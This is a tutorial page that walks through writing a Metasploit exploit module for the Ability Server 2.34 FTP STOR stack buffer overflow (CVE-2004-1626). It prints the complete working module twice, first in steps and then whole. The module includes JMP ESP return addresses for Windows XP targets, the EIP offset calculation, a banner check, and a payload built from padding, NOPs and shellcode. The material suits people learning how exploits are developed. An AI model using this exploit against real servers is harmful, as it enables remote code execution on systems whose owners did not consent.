Exploit module

Remote Exploit

FTP exploit

Our example will be a very simple vulnerable FTP server called ability server.

What do we want?

  • Create Exploit module
  • Exploit FTP Server
  • Set exploit rank
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Choose a default payload
  • Set the Bad characters.
  • Set Disclosure Date
  • Targets and it’s return address (EIP offset)
  • Options to set the target IP, port. Also username and password if required.
  • Check the target if vulnerable.
  • Send the exploit
  • Check if the module has been written correctly (msftidy.rb)

Steps

  • Create Exploit module
  • Exploit FTP Server
  • Put a rank for the module
  1. ##
  2. # This module requires Metasploit: http://www.metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  6. require 'msf/core'
  8. ### Module Type ###
  9. class Metasploit3 < Msf::Exploit::Remote
  10. Rank = NormalRanking
  12. include Msf::Exploit::Remote::Ftp
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Choose a default payload
  • Set the Bad characters.
  • Set Disclosure Date
  • Targets and it’s return address (EIP offset)
  • Options to set the target IP, port. Also username and password if required.
  1.   def initialize(info = {})
  2.     super(update_info(
  3.       info,
  4.       'Name'            => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
  5.       'Description'     => %q{
  6.         This module exploits a stack-based buffer overflow in Ability Server 2.34.
  7.         Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
  8.         which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
  10.         The vulnerability has been confirmed on version 2.34 and has also been reported
  11.         in version 2.25 and 2.32. Other versions may also be affected.},
  12.       'License'         => MSF_LICENSE,
  13.       'Author'          =>
  14.         [
  15.           'muts',            # Initial discovery
  16.           'Dark Eagle',      # same as muts
  17.           'Peter Osterberg', # Metasploit
  18.           'Ruby (@Rubyfu)',  # Just explain the module
  19.         ],
  20.       'References'      =>
  21.         [
  22.           [ 'CVE', '2004-1626' ],
  23.           [ 'OSVDB', '11030'],
  24.           [ 'EDB', '588'],
  25.           ['URL', 'http://rubyfu.net'] # Just explain the module
  26.         ],
  27.       'Platform'        => %w{ win },
  28.       'Targets'        =>
  29.         [
  30.           [
  31.             'Windows XP SP2 ENG',
  32.             {
  33.               #JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
  34.               'Ret' => 0x73E32ECF,
  35.               'Offset' => 966
  36.             }
  37.           ],
  38.           [
  39.             'Windows XP SP3 ENG',
  40.             {
  41.               #JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)
  42.               'Ret' => 0x7E429353,
  43.               'Offset' => 966
  44.             }
  45.           ],
  46.         ],
  47.       'DefaultTarget'   => 0,
  48.       'DisclosureDate' => 'Oct 22 2004'
  49.     ))
  51.     register_options(
  52.       [
  53.         Opt::RPORT(21),
  54.         OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
  55.         OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
  56.       ], self.class)
  57.   end
  • Check the target if vulnerable.
  1. def check
  2.   connect
  3.   disconnect
  4.   if banner =~ /Ability Server 2\.34/
  5.     return Exploit::CheckCode::Appears
  6.   else
  7.     if banner =~ /Ability Server/
  8.       return Exploit::CheckCode::Detected
  9.     end
  10.   end
  11.   return Exploit::CheckCode::Safe
  12. end
  • Send the exploit
  1. def exploit
  2.   c = connect_login
  3.   return if not c
  5.   myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
  7.   # Take client IP address + FTP user lengths into account for EIP offset
  8.   padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
  9.   junk = rand_text_alpha(padd_size)
  11.   sploit = junk
  12.   sploit << [target.ret].pack('V')
  13.   sploit << make_nops(32)
  14.   sploit << payload.encoded
  15.   sploit << rand_text_alpha(sploit.length)
  17.   send_cmd(['STOR', sploit], false)
  18.   handler
  19.   disconnect
  20. end

Wrapping up

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  6. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9.   Rank = NormalRanking
  11.   include Msf::Exploit::Remote::Ftp
  13.  def initialize(info = {})
  14.     super(update_info(
  15.       info,
  16.       'Name'            => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',
  17.       'Description'     => %q{
  18.         This module exploits a stack-based buffer overflow in Ability Server 2.34.
  19.         Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,
  20.         which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.
  22.         The vulnerability has been confirmed on version 2.34 and has also been reported
  23.         in version 2.25 and 2.32. Other versions may also be affected.},
  24.       'License'         => MSF_LICENSE,
  25.       'Author'          =>
  26.         [
  27.           'muts',            # Initial discovery
  28.           'Dark Eagle',      # same as muts
  29.           'Peter Osterberg', # Metasploit
  30.           'Ruby (@Rubyfu)',  # Just explain the module
  31.         ],
  32.       'References'      =>
  33.         [
  34.           [ 'CVE', '2004-1626' ],
  35.           [ 'OSVDB', '11030'],
  36.           [ 'EDB', '588'],
  37.           ['URL', 'http://rubyfu.net'] # Just explain the module
  38.         ],
  39.       'Platform'       => %w{ win },
  40.       'Targets'        =>
  41.         [
  42.           [
  43.             'Windows XP SP2 ENG',
  44.             {
  45.               #JMP ESP  (MFC42.dll. Addr remains unchanged until a patched SP3)
  46.               'Ret' => 0x73E32ECF,
  47.               'Offset' => 966
  48.             }
  49.           ],
  50.           [
  51.             'Windows XP SP3 ENG',
  52.             {
  53.               #JMP ESP  (USER32.dll. Unchanged unpatched SP3 - fully patched)
  54.               'Ret' => 0x7E429353,
  55.               'Offset' => 966
  56.             }
  57.           ],
  58.         ],
  59.       'DefaultTarget'   => 0,
  60.       'DisclosureDate' => 'Oct 22 2004'
  61.     ))
  63.     register_options(
  64.       [
  65.         Opt::RPORT(21),
  66.         OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]),
  67.         OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ])
  68.       ], self.class)
  69.   end
  71.   def check
  72.     connect
  73.     disconnect
  74.     if banner =~ /Ability Server 2\.34/
  75.       return Exploit::CheckCode::Appears
  76.     else
  77.       if banner =~ /Ability Server/
  78.         return Exploit::CheckCode::Detected
  79.       end
  80.     end
  81.     return Exploit::CheckCode::Safe
  82.   end
  84.   def exploit
  85.     c = connect_login
  86.     return if not c
  88.     myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
  90.     # Take client IP address + FTP user lengths into account for EIP offset
  91.     padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)
  92.     junk = rand_text_alpha(padd_size)
  94.     sploit = junk
  95.     sploit << [target.ret].pack('V')
  96.     sploit << make_nops(32)
  97.     sploit << payload.encoded
  98.     sploit << rand_text_alpha(sploit.length)
  100.     send_cmd(['STOR', sploit], false)
  101.     handler
  102.     disconnect
  103.   end
  104. end
  • Check if the module has been written correctly (msftidy.rb)
  1. metasploit-framework/tools/dev/msftidy.rb ability_server_stor.rb